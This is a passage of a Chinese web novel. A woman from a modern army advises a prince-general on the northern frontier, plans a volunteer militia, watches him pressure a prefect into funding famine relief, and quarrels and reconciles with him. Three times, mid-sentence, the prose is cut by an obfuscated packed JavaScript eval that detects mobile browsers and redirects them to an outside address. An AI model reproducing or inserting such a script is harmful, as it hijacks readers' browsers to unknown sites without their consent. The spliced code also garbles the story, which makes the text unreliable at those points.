“这里是军营,由不得挑剔。”海棠冷冰冰地丢下一句话后便离开了。 “我……我不是这个意思……” 沈明月从屋里出来,想向她解释却见徐铭带着一纸文书过来。 她打开一看,是任命她为长史的委任书,后面落款是顾洲二字。 原来这纨绔叫顾洲,但这长史是个什么职务? 徐铭解释道:“长史虽不是实职,但其权利可大可小、可文可武,主上定是考虑到先生是女子,职位过高恐惹人非议,故而给先生了这个职位。” “这个职位具体做些什么呢?”沈明月不太理解他说的意思。 徐铭思考了一下说道:“嗯……主要是给将军提些意见,不过也会有其他安排。” “那不就是军师嘛,而且是哪里需要哪里搬的军师,你家主上可真够精明的,只给一份军饷却想让我干八样活儿。” 徐铭赶紧否认道:“不是,不是……沈先生慎言、慎言,主上是惜先生之才……” 唉!上赶着不是买卖,要怪就怪自己自投罗网,沈明月的白眼已经翻到了天上,心中暗骂一声:浑蛋。 接着徐铭带她领了被褥,顺便介绍了一下军中的几位将领,并告诉她这里都是男子,不要随意走动。 沈明月一一应承下来。 下半昼,东北方乌云骤起,被风吹着以万马奔腾之势,迅速将烈日围住,敛去了半数暑气,一道闪电划过,天空犹如被撕开了一个口子,暴雨如瀑般倾泻而下。 雨水从正殿的屋檐上滑落,宛如一排帘幕,顾洲透过水幕,看向沈明月居住的方向,问道:“她可有说什么?” 海棠答道:“她说自己睡得晚,不想与属下同住,想必已经看出属下在监视她了。” 徐铭插嘴道:“主上,咱们是不是误会沈先生了,她拿到文书只问了长史是什么职位,也并未说其它,她是真心帮咱们呀!” “你怎么知道是真心?”海棠抱着双臂,乜斜了他一眼。 “都认识沈先生这么久了,她可曾对咱们有过不利?最起码不会像有些人似的,表面安安静静,背后搞小动作!”徐铭说完回击了一个眼神。 “你说清楚,什么背地搞小动作?”海棠有些急了,放下双臂欲上前一步,但碍于主上还在便未动手。 徐铭自知不是她的对手,稍稍退后半步,言辞间却不相让:“你急什么?又没说你。” 徐铭此言是指在别院受罚一事,他认定是海棠告密,不仅他是这样认为,其他人也这样认为,毕竟海棠是主上亲自挑选的侍卫,身手极好,为主上立下过不少功劳,加之她性格清冷孤傲,始终与别人格格不入,故而大家对她有所怀疑。 “都住口!”顾洲听着他们争吵只觉得头痛,但徐铭的小心思瞒不过他:“怎么?徐铭你是觉得委屈吗?” 徐铭立即敛了气愤:“属下不敢!” “别院一事,不是海棠,是我安排门房看着你们,你不要冤枉她。”随即顾洲的语气缓和了一些,“你们二人,一个在军中、一个在侍卫营,是我的左膀右臂,彼此间要信任,不能再有嫌隙。” “是……”二人异口同声地回答,而后对视了一眼,又纷纷不屑地看向别处。 这一幕顾洲并没有见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350338|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,继续说道:“至于沈明月……明日让她来见我。” “是。”徐铭领命。 暴雨来得快去得也快,檐下的落水渐小,像断了线的珠子,一滴一滴打在地上,夕阳露出脸来,在一个个小水洼中反射出耀眼光芒。 外面的世界仿佛被镀上了一层金光,一个身影逆光走来,众人只觉有一个光团飘来,待进了大殿阴影处,才看清那是沈明月。 她拿着一叠纸,见到三人后笑道:“你们都在这里,我写了一些方案给你们看看。” 这轻快的声音打破的殿中的沉闷,只见她脸上笑容灿烂、眼中满是喜悦。 这笑竟让顾洲心头一颤,紧绷着的神经忽觉松懈下来,原来放松的、无拘无束的笑容可以这么美好。 “属下告退!”徐铭规规矩矩行礼,目光却示意沈明月也行礼。 沈明月这才意识到自己的失态,而顾洲也正讳莫如深地看着她,于是她也学着徐铭的样子行礼:“见过将军。” 但她心中却极不情愿,只当是入乡随俗了,以前在队伍里,领导和战友们都是严肃、活泼的,不像这纨绔这般官大一级压死人,让人在他面前连大气都不敢喘,这个坏毛病以后要给他板过来。 顾洲接过方案,略略看了一眼后说道:“我还是先为你讲讲目前的情况吧。” 二人进入大殿内,顾洲简约了描述了北境的情况。 北蛮人是游牧民族,居无定所,且分而治之,入侵的目的主要是为了掠夺牲畜和人口,以壮大自身。 目前他们可用军队只有一万人马,武器装备倒是齐全,只是粮草只够三月之用。 不料沈明月说道:“从没打过这么富裕的仗,足够了。” 她那时的队伍,武器不足、物质匮乏,主食是杂粮、副食是野菜,战士们营养跟不上,都是拼着一口气去与敌人搏斗,伤亡重大,用一寸山河一寸血来形容绝不夸张。 而现在这支队伍,武器精良,粮草充足,虽是冷兵器,若用上现代战争的战术与打法,便有几分胜算。 待她问清这一万人马的来历后,心渐渐沉重起来,这些人马是刚刚从别处调防而来,虽听顾洲号令但不一定齐心,现在还差“凝聚力”这道东风。 她思索了一下说道:“人倒是不少,但还需征一些兵。” “没有朝中旨意,不可征兵。”顾洲蹙着眉头,心想这一点她应该知道。 “朝中管得可真宽!”沈明月说完才恍然,这不是动荡的时代,一切还要由政府领导,她拍了拍头说道:“那就组织义军,城里城外的流民日益增多,如此下去恐为祸患,不如带他们打回家乡去。” 顾洲有些不解:“义军?你是说没有军饷的义军?” “对,征集青壮年入伍,安顿好家眷,让他们没有后顾之忧。” “可这样他们会愿意吗?” 这疑问遭到了沈明月的反驳:“你眼中难道只有利益吗?你是这样的人看别人也是如此,谁愿意流落在外?谁不愿意回乡?谁愿意看着自己的家园被铁骑踏?” 她说着说着竟有些激动,也有些失望,这样的领导,脱离群众,如何能成功。 见顾洲还有些犹豫,沈明月决绝地说道:“此事我立军令状,若招不到义军,我提头来见你。” 她之所以敢说这话,是因为先前遇到的流民包括朱文,言语间都充满了对乡土的不舍、对北蛮的痛恨,他们还惦念着田里的庄稼、鱼塘里的鱼和山上的果园,她相信这股信念足以支撑这群人去战斗,去夺回土地。 顾洲虽被她误会、被她斥责,却没有生气,这个女子对他大胆也不是一次两次了,而他反而觉得她说得有道理。 沈明月灼灼的目光感染着他,让他觉得在民族大义面前,他与兄弟们、朝臣们之间那些勾心斗角都值一提,而北境和平不也正是他心中所愿吗? 那就尽力一搏吧! 他起身,正色说道:“此事便交由沈长史去办,义军的粮草问题我来想办法。” 11. 敲诈 只听“啪嗒”一声,顾洲从睡梦中惊醒,案几上的几盏灯还亮着,原来是沈明月伏在纸上睡去,毛笔滚到了地上。 这沈明月真是敬业,他的命令下达后她便要了纸和笔,就在大殿内写起了招募义军计划书,边写边问他一些细枝末节的情况,这一写就写到了三更天。 同样被惊醒的还有海棠,她发觉自己睡着便立即起身向主上请罪。 顾洲抬手示意她起身,小声问道:“什么时辰了?” “大约四更天了。” 顾洲用手指了指大殿东侧的隔间:“带她进去休息。” 海棠顺着他的手指的方向看过去,隔间内是主上休息的床榻,平日里是不允许人靠近的,她有些为难:“主上……这不合规矩……” “去吧。”顾洲仔细听了听外面的动静,连虫鸣声都销声匿迹了,这个时辰露水刚起,寒意正浓,若是现在让她二人回去,必然会受凉。 海棠轻轻拍了拍沈明月,牵起她的手。 沈明月正在困顿之时,抬头揉了揉眼睛,一摇三晃地由海棠领着向隔间里走去,她的头刚挨上枕头便又睡了过去。 顾洲坐到沈明月的位置上,将手稿拿起来,上面的字迹工整、流畅清婉,他、心中不禁赞叹道:好一手簪花小楷。 他略读一遍,提起笔想要修改,顿了一下后,还是将修改意见写在了新纸上。 北方的夏日,天亮得极早,五更末,鱼肚白便隐约在东边浮现,殿内已蒙蒙亮。 顾洲息了烛火,起身叫醒海棠,命她去告知程岳准备演武场点兵事宜。 海棠看了一眼里间后领命而去。 而顾洲的脚步不自觉地迈向里间,屏风后沈明月均匀的呼吸声,他想去看一下,脚抬了一下却又立即放下,她终究是女子,男女独处一室已是不妥。 回想她刚醒时一派睡眼惺忪的模样,脸上还沾了些墨水,这样子竟十分的可爱,一抹笑意浮上他的嘴角,但随即察觉自己的失态,立即敛了笑容,拿着手稿走到大殿门口。 门口刚刚换了守卫,一个守卫似乎没有睡醒,正打着一个大大的哈欠,忽见门开,主帅竟从里面出来,惊得他瞪大了眼睛,随即跪下请罪。 顾洲回望了一下殿内,只对侍卫说道:“看好大殿,不得任何人进来。” 守卫以为自己听错了,这大殿本就不允许人随便进出,主帅为何要再叮嘱一次,若是以前,他这般懈怠,必要被赏十几二十鞭的,未想今日主帅竟如此开恩,真是幸运,他忙叩首领了命。 顾洲点完兵后便直奔营州府衙,沈明月的手稿上写了需要衣服和被褥,这些东西需大量采买,但银子从哪来?他需要去敲一笔竹杠。 新任的营州州牧裴济,三十出头,听闻大皇子亲临,急忙正了衣冠到门口相迎。 这裴济出身寒门,是安国公夫人方氏的侄女婿,靠安国公提携才到了今日的位置,而安国公是顾洲的亲舅父,论辈分顾洲还要称他一声“表姐夫”。 当年安国公从龙有功,却于战中瘸了一条腿,如今虽没了兵权,但靠着先皇后贤名的庇佑,在京中的权势依然不容小觑。 顾洲是先皇后留下的唯一血脉,安国公自然是他的支持者,但裴济却与岳丈家的政见向左。 当今陛下生子三人,皆已成年,二皇子与三皇子早就被封了秦王和晋王,只有这大皇子迟迟未有晋封,可见陛下对其失望至极。 裴济见朝局如此,恐日后岳家倒台,失了庇佑,便暗中投靠了圣宠正盛的秦王,此番营州调任,安国公和秦王两股势力从中周旋,秦王假意失败,促成了他前来上任,想揪出大皇子错处,再加害一把。 可裴济却只“不求有功但求无过”。 他见了顾洲,快步迎上去见礼道:“不知大殿下到来,有失远迎,有失远迎。” 顾洲不冷不热地叫了声:“裴大人。” 裴济半躬着腰引着他到了中堂内,亲自奉了茶,笑道:“殿下有什么事,何劳您亲自跑一趟,派人来知会下官一声,下官到军中领命就是。” 顾洲接过茶碗,用茶盖拂去茶末,随意地饮了一口,只说道:“许久未见英姐姐,她的身子可大好了?” 裴济夫人方英年幼丧母,她的姑姑安国公夫人怜惜其体弱,便接到了身边抚养,彼时顾洲刚刚丧母,大病一场,是其舅母方氏进宫细心照料才好了起来,他感念舅母的这份恩情,便时常到安国公府走动,与这位表姐十分熟稔。 裴济不就座,依旧侍立在前,回道:“劳殿下记挂,只不过是偶然风寒,已经无碍了,但此番路远,恐夫人不能劳累,下官便未令夫人同行。” “这不是在京中,你也别拘着了,坐吧。”顾洲嘴角浮上一丝冷笑,撇了他一眼。 “是,是,不知大殿下今日来有何吩咐。” “哦,也没什么,只是裴大人与我终究是亲戚,裴大人上任许久我也没来拜访,今日得了空便来瞧瞧你。”顾洲漫不经心地说道。 可裴济却听得一身冷汗,大殿下这话里的意思是怪他上任后没去拜访啊!他知顾洲不待见他,他们之间也只见过一面,而原因是这门亲事并不是安国公府愿意的。 当年方英到了议婚的年纪,国公夫人已相看好一位世家弟子,只待方英父亲同意便行纳采之礼,彼时方父外放在任上,书信已经发出,却在这空档里出了差错。 一次春宴后,方英所乘的马车坏在半路,恰巧裴济路过便将马车借与她,自己徒步而归,他的一番殷勤让方英动了心,没有多久裴家人便来提亲,此事水到渠成。 在外人看来这是一段缘分注定的婚姻,可后来顾洲却无意间发现这是裴济的阴谋,从偶遇到提亲,每一步都计划缜密,但木已成舟,碍于情面他没有戳穿,只是再未正眼瞧过这人一眼。 裴济小心翼翼地找补道:“下官本想处理完府衙的积案后去拜见大殿下,不想大殿下先来了。” 顾洲正想着如何将话题引到政事上,未想他先提了,便接下去说道:“裴大人是勤政爱民的好官,不知大人忙着处理什么政事呢?” “哪里有什么大事,自从上次殿下查办拐卖人口一案后,营州城内除了一大祸患,如今下官也只是偶尔处理些小打小闹、小偷小摸之事。”裴济说着眼睛不断瞟向顾洲,以察言观色。 他说这话是心虚的,自他来了之后,大致将府衙里的事过了一遍,发现无甚要事,便将一切交由幕宾处理,如今被大殿下问政,便先颂扬了一番大殿下的功绩,所谓伸手不打笑脸人,如此回答,想来大殿下也不会为难自己。 “是吗?那最近城内的打架斗殴事件可有增加否?” 这句话让裴济更加心虚,甚至开始怀疑大殿下是得了朝廷旨意来督察他的,他擦了擦汗说道:“一切如常……” 这话一听便是在骗人,来的路上他就看到了两起抢食物事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350339|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,他竟然还敢说“一切如常”,顾洲将茶碗重重地放到桌上,可言语间依旧温和:“那敢问裴大人,今日城中的流民是如何安排的。” 茶碗的声音将裴济吓得身躯一震,万没想到这个只知玩乐的大殿下会问这个问题,随后应付道:“下官已将此事奏报朝中,正打算开仓放粮,调集赈济。” 顾洲起身,围着他走了半圈,厉声说道:“裴济,你可知罪!” 裴济不明所以,听得一身冷汗,立即跪下请罪:“请大殿下明示。” 顾洲厉声说道:“如今城内流民虽不多,皆因你于城门处设卡,阻止其入城,你可到城外查看过灾情?我大营后的灾民营已是人满为患了。” “是下官疏忽,请殿下责罚……”裴济连连叩首。 顾洲眼神阴冷,沉声道:“我有何权利责罚你,我也只能将实情上奏,此事自有陛下定夺。” 此言吓得裴济面如土灰,起身膝行两步,泣泪道:“殿下,殿下开恩,是下官失职,看在我家夫人的面上,再给下官一次机会,下官马上开仓放粮。” 顾洲一听心里已然乐开了花,但他依旧面色阴沉,坐回原位:“裴大人,我若不是看在英姐姐的面子上,今日就不会到此来了……” 他叹了口气,继续说道:“我也知你为难,在府衙内有条条框框束着手脚,有些事不能放开去做……不如,我来替裴大人出个主意,如何?” 裴济吓得三魂已丢了一魂,见事情有转圜,立即答应:“殿下救下官一命,此后下官必定万死莫辞。” “倒也不必,你我毕竟有些亲戚,我怎会置你生死于不顾,我最近需要些人手修缮大营……” 裴济立刻意会,这是要以工赈灾,为他解决大麻烦,于是立即回答:“这个好说,营州城防保一方安宁,是重中之重,下官愿为殿下招募工匠,拨付工钱。” “工匠我自会招募,裴大人只管调资赈济即可。”顾洲的脸色这才缓和了许多。 “是,是,殿下安排甚好,一切皆听殿下安排。” 顾洲见目的已达到,又饮了一口茶,起身看看天色后说道:“时辰不早了,我先回去了。” 他走后,裴济便瘫倒在地,被一众衙役抬回后堂,待平复心绪后方才明白,此番大殿下来就是过来要钱的,顺便戏耍了他一番。 但他也只能饮恨吞声,若真是大殿下参他一本,也够他受的,权当破财免灾,于是立即下令开仓,将赈灾物资送至灾民营。 一路马蹄轻快,顾洲回到大营正殿时,见海棠与门口的守卫理论:“为何不让我进去。” 因是主帅亲自下的令,守卫理直气壮,坚持不放行,“将军有令,任何人不得入内。” 而后见到顾洲回来,立刻参拜。 海棠已急得如热锅上的蚂蚁,生怕沈明月逃走,听闻主上回来,立即求助。 二人进入殿内,沈明月刚刚被外面的声音吵醒,伸着懒腰从屏风后面走出来,脸上墨迹被汗水晕开,活像一只小花猫。 海棠忍着笑出去为她打水。 沈明月却不解地问顾洲道:“她是不是在笑?昨晚我写的计划书你看了吗?” 她的语气自然、神态放松,像是在对多年的老友说话一般,尤其是最后那带着询问的目光,清澈明亮,令顾洲心中有一种莫名的悸动。 正待他回答,只听得“咕咕……咕……”一阵奇怪的声音突然响起。 12. 散步 好饿…… 昨日晚饭时沈明月正全神贯注,便没顾得上吃,已经快一日没有进食了,五脏庙便提出了抗议,她按住腹部尴尬一笑。 恰巧此时海棠端水进来,她忙迎上去接过,道了声“多谢”,低头洗脸见水中倒影,才发现脸上有好大一块墨癍。 真是糗大了,上辈子的脸全丢光了! 她恨不得将脸埋进水盆里,忙洗了又洗,可是墨水时间长了并容易掉,怎么洗都会有淡淡的痕迹,没办法了,只能等三天,新陈代谢会让墨痕慢慢消失。 用毛巾擦干脸,却见顾洲似笑非笑地看着她,她瞬间红了脸,下意识用手捂住墨痕,略带局促地说道:“你想笑就笑……” 顾洲没有说话,转身找出一个小坛子,将坛子里的液体倒在帕子上递给来她。 她接过来闻了闻,浓厚馥郁的酒香钻入鼻腔,用酒洗到是去墨痕的好办法,她转过头以水为镜,将墨痕擦掉。 她边擦边想,真是奇怪了,昨夜睡得这般安稳,竟连一个梦都没做,大约是劳累至极了,从决定来军营到写计划方案不过三日,一切都是匆匆忙忙,未想竟适应如此之快。 帕子已染上了淡淡的墨痕,待她要感谢顾洲时,只见他已坐到了案几旁。 昨夜为了方便沟通,他们将几个案几拼在一起,像一个大会议桌一样,现在上面除了文件还摆了粥、馒头和几样小菜。 她将头发挽了个发髻后也坐到案几旁,没有莺儿帮忙,她只会梳这种道姑头。 “昨夜我写的,你可看了?” “不急,先用饭。”顾洲看着计划书并抬眼。 她也不客气,一口气将粥喝完又塞了一个馒头,之后拿起笔继续写昨日未写完的具体执行方案。 义军招募及之后的管理计划都是之前在军队的经验,可有些具体细节并不适用于现状,需要调整的地方很多,她边思考边写,所以写得并不快。 顾洲重新看了一遍她昨晚写的计划,其中的一些观念是他所不能理解的,比如:战争不是目的,但是只能用战争去消灭战争,放下武器前必须要拿起武器。 这些他从未学过或者听过的,他反复思考才理解这大概就是《司马法》中所说的:以战止战,虽战可也。 当今世上所学的兵书有七部:《孙子兵法》、《吴子兵法》、《六韬》、《司马法》、《三略》、《尉缭子》和《李卫公问对》。 其中《司马法》相传是先秦时期姜太公所撰,流传到现在多有亡佚,也仅余残存五篇,此书中重军礼高于军法,故而多用在军礼上。 而他在安国公府的藏经阁里细细读过此书,发觉书中蕴含着极为深刻的道理和战争精神,他认可的是“义战与不义战、备战而不好战”等,竟与沈明月所写有吻合之处。 他似乎是看到了知己,想向她求证,但见她眉头微蹙,正全神贯注地思考,便没有打扰。 他们写着关于战争的字迹,脑中演绎着一个个场景,可大殿内却蔓延一种平和宁静的氛围,将所有的喧嚣掩盖,只剩笔尖落墨的声音在桌面上流淌。 “回禀主上。”徐铭的声音打破了这份静谧:“裴知州调配的救济物资已送到,这是清册。” 顾洲接过清册看了看,不自觉地说了个“好”字,感叹了一句“这裴济还真是识时务”之后,将清册交给了沈明月。 沈明月接过,上面不仅写了银钱粮草,还有布匹、粮种和草药,都是赈灾的物资,她没有深究这知州为何送来这些东西,只感叹道:“这裴知洲真是个难得的好官。” 顾洲笑着摇摇头,并未解释其中的曲折。 之后二人就方案从头到尾再次商议一遍,过程并不顺利,这不仅仅是二人之间观点的不同,更是两个时代的碰撞。 与顾洲比起来,沈明月的有些做法是冲动的、激进的,他甚至能在她的目光中看到仇恨的火光,她心中到底藏着什么仇恨?他试图去探究,但她只谈方案不谈过去。 这些矛盾,有些商议后得以解决,有些却不能调和,只能日后再视情况而定。 沈明月揉了揉发酸的脖颈,抬头向外看去,隐隐起了暮色,她见也没什么要修改的,便将计划收起来,说道:“就先这样吧,明日徐铭就先跟着我,我走了。” “等等……” 顾洲下意识地叫住她,他已经很久没有这样与人探讨过了,他那些“大略雄才”似是找到了共鸣,一时结束,心中竟有些不舍。 “什么?”沈明月收住脚步,听他声音有些急,以为有什么纰漏之处,不免紧张了一下。 “不如……不如出去走走。”顾洲不知该如何解释,便出此提议。 原来是这样,沈明月一笑缓解紧张,痛快地答应道:“也好,坐了一天了,也正好活动活动。” 顾洲去里间快速换了身便服,之后与她漫行到了大营外的河边处。 夕阳的光犹如金针银线,在水面上随波晃动,清凉的风彻底驱散了空气中残留暑热。 二人并肩而行,保持着一臂的距离,有一搭无一搭地闲聊着。 “天气暖和,花都开了。” “河水涨了不少。” “现在的热还好些,过段时间会又潮又热,那日子才难熬。” “……” 草丛中的虫鸣因脚步声暂停,而芦苇丛中则会突然飞出一只受惊的野鸭,水中的鱼偶尔会翻出一朵浪花来。 沈明月感受着自然之物,一切是多么和谐、多么安宁、多么美好,没有慌乱、没有匆忙、没有紧张,她已经很久没有这样放松了。 河滩上的野花开得艳丽,她摘了许多做了一捧花束,面向河水站定,闭上眼睛感受着日光和煦与清风的温柔。 若是能永远这样下去该有多好,这人世间最为珍贵的便是这样的寻常。 顾洲未听见沈明月搭言,边走边思忖着还要与她说些什么,并没有注意她已经落在了后面。 忽然一声尖叫传来,他立即回头,才发现沈明月一脸惊恐,左手拿着一束花,右手使劲甩着。 他快步过去,拉起她的右手查看起来:“怎么了?” 沈明月睁开眼睛,仔细看了看手,说道:“花上有只虫子,爬到我手上了。” 见她无碍,顾洲松口气,将提起的心放下,哑然失笑道:“堂堂沈先生竟然害怕一只虫子?” “怎么?我就不能怕虫子吗?” 顾洲调侃道:“我还以为你天不怕、地不怕呢。” “我只怕这种小虫子,爬到身上感觉浑身都痒痒的,好难受。”沈明月想象着虫子爬的情境,不自觉地紧闭双眼,做了一个害怕的表情。 顾洲微拿过花束,仔细摘掉有虫子的和破败的花朵,交还于她:“你对虫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350340|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说才是庞然大物,虫子该害怕你才是。” 接过整理好的花束,沈明月道了声“多谢”,想着虫子那么多条腿,还是觉得心里发慌。 继续前行就到了曾经的偷听之地,曾经他的剑就架在她的脖颈处,当时谁也不会想到,以后她二人会心平气和地来此散步。 她笑道:“现在还怀疑我是细作吗?” 但问完这话她就后悔了,当日她浑身湿透、衣不蔽体,比今日的糗样更多了一层窘迫,她涨红了脸,低下头去向前快走了几步。 看着她这害羞的样子,像是一朵悄悄绽放的花儿,顾洲也想起了那日的情形,轻咳了一下缓解尴尬,“之前是我太过于谨慎,在此向你……道歉。” “道歉”这两个字是他此生第一次对别人说,他贵为皇子,说什么做什么无人指摘,即便是生出许多荒唐事,被朝臣告到他父皇那里,他也咬着牙受罚,不曾低过头。 而现在,却对着一个普通的女子,轻易说出了这两个字,他自己都有些惊讶,没想到自己竟然这么快就放下了戒备。 听到道歉,沈明月看了他一眼,作为她的上级竟然在向她道歉,看来是有进步,知错能改,善莫大焉,就这一点来看,他会是个好领导。 她心里虽这样想,但是还需客气一些:“不敢,我想你也是有不得已的原因吧,你们这些高位之人必定少不了勾心斗角之事,但是我希望你能在其位谋其政,不要为一些眼前的利益而耽误了家国大事,民族大事。” 想到眼前人此前在秦香楼的一幕幕,她觉得差点被他迷惑了,还是要与他保持一些距离为好。 “你们”二字的确产生了距离,这两个字犹如冷水一般浇灭了顾洲刚升起的温热,让他意识到他们之间隔着一道鸿沟。 他转过头看向远处迫近山顶的红日,良久才说道:“沈先生放心,本将军自然知道什么该做什么不该做。” 刚夸他会是个好领导,现在就开始摆架子,沈明月从他背后狠狠地挖了一眼,心中骂了句:不知好歹。 “主上。”海棠来得正是时候,她回禀:“马车已备好。” 顾洲转身就走,路过沈明月时脚步略缓了一下,“沈先生请自便。” 沈明月看着他们离去的背影,走路带的风掀起海棠黑色披风的一角,露出里面桃红色的纱裙,又想到她看见顾洲与自己在一起时,那疑惑又担忧的表情,瞬间明白了海棠的心思。 今日就不该答应这纨绔出来,惹得自己生气不说,还让海棠误会了,以后一定要离这纨绔远点。 河边的清凉让她多行了一段路,太阳完全落山,大地陷入了一片深沉之中,最终所有的光线被黑暗吞噬。 风吹过杨树的树冠,远看只见一片巨大黑色的轮廓随风摇晃,如同要挣脱枷锁的巨兽一般,加上树叶摩擦发出的声音,让周围环境惊悚无比。 她心下有些害怕,立即折返回去,今日大约是晦日,天上没有月亮,满天的星光虽明亮,却照不清脚下的路,她只能一路磕磕绊绊,小心翼翼地前行。 正待她发愁之际,一盏灯笼向朝她这边走来,随后听见徐铭的声音:“沈先生,这里。” 她赶紧朝着灯笼过去,却因走得太急被脚下的藤蔓绊住,整个人跌了出去,但她没有落地,而是扑在了一个人的怀里。 而这人身上的味道,令人好生熟悉。 13. 误会 那是一股淡淡的茉莉香,昨晚睡的床榻上,擦脸的帕子上,醇香散尽的尾调,都是这个味道。 还真是富贵安乐窝出来的纨绔,都到了军营这粗糙之地,竟然还这般讲究。 脚上还缠着藤蔓,她从顾洲怀中挣扎着站起来,脚下却不稳当,只得借住他胳膊的力量站稳,弯下身去扯藤蔓,手刚触摸到藤蔓,便传来一阵火辣辣的疼痛,她倒吸一口冷气赶紧将手收回。 徐铭见状,赶紧拔出匕首,蹲下身去将藤蔓斩断,说道:“这是葎草,上面都是倒刺,沈先生小心些……” “你们怎么在这里?”沈明月配合着徐铭将葎草一点点摘除。 “先生这么晚不回去,主上担心您出危险,便出来找您。” “徐铭!”顾洲言语间带着几分不满制止他继续说下去。 “哼!是担心我跑了吧。”沈明月没好气,拿过灯笼,自顾自地向军营走去,将二人丢下。 徐铭看着那一团亮光越走越远,喊道:“沈先生,等等……” 见人唤不回来,又转向顾洲:“主上,沈先生怎么生这么大的气?您又怀疑她了?” “闭嘴!”顾洲心中也窝火,呵斥了徐铭。 刚才他本想再与她探讨一下《司马法》,平日里他藏锋守拙,从不敢将这些想法表露一点,如今终于有人和他的想法相似,心中不甚欢喜,却不知她为何突然就冷漠起来,无缘无故地给他扣上一顶短视近利的帽子,言语间拒他千里之外。 而现在他什么也没说,她又疑心自己怀疑她,他无奈地叹了口气,摸了摸着右臂衣袖,上面还留有她掌心的温热。 此刻他本该在营州城内的宴饮上,但上马车时却未见沈明月归来,心下不免有些担忧,虽说沈明月会些拳脚功夫,但近日来流民渐多,那河边偏僻,又挨着灾民营,若有歹人起意,她不见得能招架得住,于是他便下了车,叫上徐铭,亲自来寻。 不远处一阵铃响,是海棠催促他上车,他看着那团光影已不见,便上了马车。 树影摇曳、蝉声起伏,让沈明月心中更加烦躁,今日与顾洲就方案的探讨,令她对他有了些新的认知,此人确实才思敏捷、远见卓识,与他沟通并不费劲,若他将这些才华用到为国为民上来,必然会有所成。 然而,似乎他将才华用在了朝堂党争之上。 但是,也许是她对这位领导抱有过高期望。 “在其位谋其政”,先不管别人如何,自己要做到这一点。 于是她将花束扔到了门外,多点了一盏油灯,开始写着招义军的详细方案,提起笔却觉得手上火烧火燎的疼,摊开掌心,只见一片红肿,是被葎草倒刺所伤,她只能不断地用凉水浸泡来缓解不适。 不知不觉间蝉声渐渐歇了下去,外面一片寂静,偶尔传来军士巡营的脚步声。 案几上已堆着好几个纸团,她的一腔热情随着油灯火光的微弱而有些黯淡。 明日会是怎样的情形?能招到多少义军?她忽然有些不确定,甚至开始怀疑自己的想法与做法是否正确,一切都是未知,一切都有待验证。 火光跳动,她愁绪难宁,起身拿起拿起剪刀,将灯芯剪下去一截,光又变得明亮起来,重新将黑夜驱赶至角落里。 纵使黑夜无边,但这火光依旧在勇敢地燃烧,也许,她也可以做一盏火光,用微弱的光芒驱散黑暗,去寻找光明的方向。 她又仔细回看了今日对方案的修改,发觉社会情况不同,完全照搬套用以前的经验是不可行的,有必要及时调整,明日的招募要按大方针来进行,但也要随机应变。 放下方案,她伸展了一下身体,准备好好睡上一觉以应对明日的工作。 此时,海棠回来了,她已经沐浴更衣,换回了侍卫装,进屋后交给她一个包袱,“主上有令,命你明日换上这身衣服在军营中行走。” 包袱里是一身男子服饰,的确,在这个男主外女主内的时代,以男子的身份出去更加便利和安全一些,但她却不想这样做,理由有二:其一,她要以身证道,告诉世人女性也有着不可忽视的能力;其二,顾洲虽算是她的领导,但她如何穿衣如何行事,还轮不到他来管。 海棠又拿出一个鸡蛋大小的精致瓷瓶,说道:“这是云霄膏,你手上的伤涂两次就好。” “多谢,你怎么知道我受伤了?”她接过打开盖子,一股清凉的味道扑面而来,挑了一些涂在手上,冰冰凉凉,瞬间感觉好了许多。 “是……是徐铭说的。”海棠将目光移开,搬了被褥径直走到美人榻上准备就寝。 这美人儿看着冰冷,心肠却热,还记挂着她这点小伤,她将药膏收好,走到榻边说到:“原是我借你的屋子住,怎好让你睡这里,你去大床上睡吧。” “不用。”海棠语气冰冷。 说者无意,但听者有心,沈明月想到在河边她那复杂的目光,想到她的误会,心中更加过意不去。 可她又送了药膏给自己?沈明月一时不解其意,这种旖旎的事情也无法明说道歉,若说了只怕会显得是自己心虚,让她更加误会,只能暗下决心绝不再让此类事情发生。 沈明月拉起海棠,将被褥抱到床上,说到:“咱俩一起住,放心,我睡觉很安稳,不会打扰到你。”说着将被褥铺好。 海棠也不好再拒绝,只得躺下。 一时沉默,听着海棠的呼吸声似乎还没有入睡,沈明月没话找话:“你来军营多久了?顾洲是不是总让你执行这类任务?” 海棠没有回答,只说了句“不可直呼主上名讳”后翻过身去,背对着她。 海棠心中担忧着主上,虽然很累但却难入眠。 今夜裴济宴请主上,以谢他相助之恩,并请来不少官员来陪同,其中不乏有秦王、晋王的党羽,主上恐不赴宴饮乐,反而引人猜疑,便带着扮成舞姬的她同去。 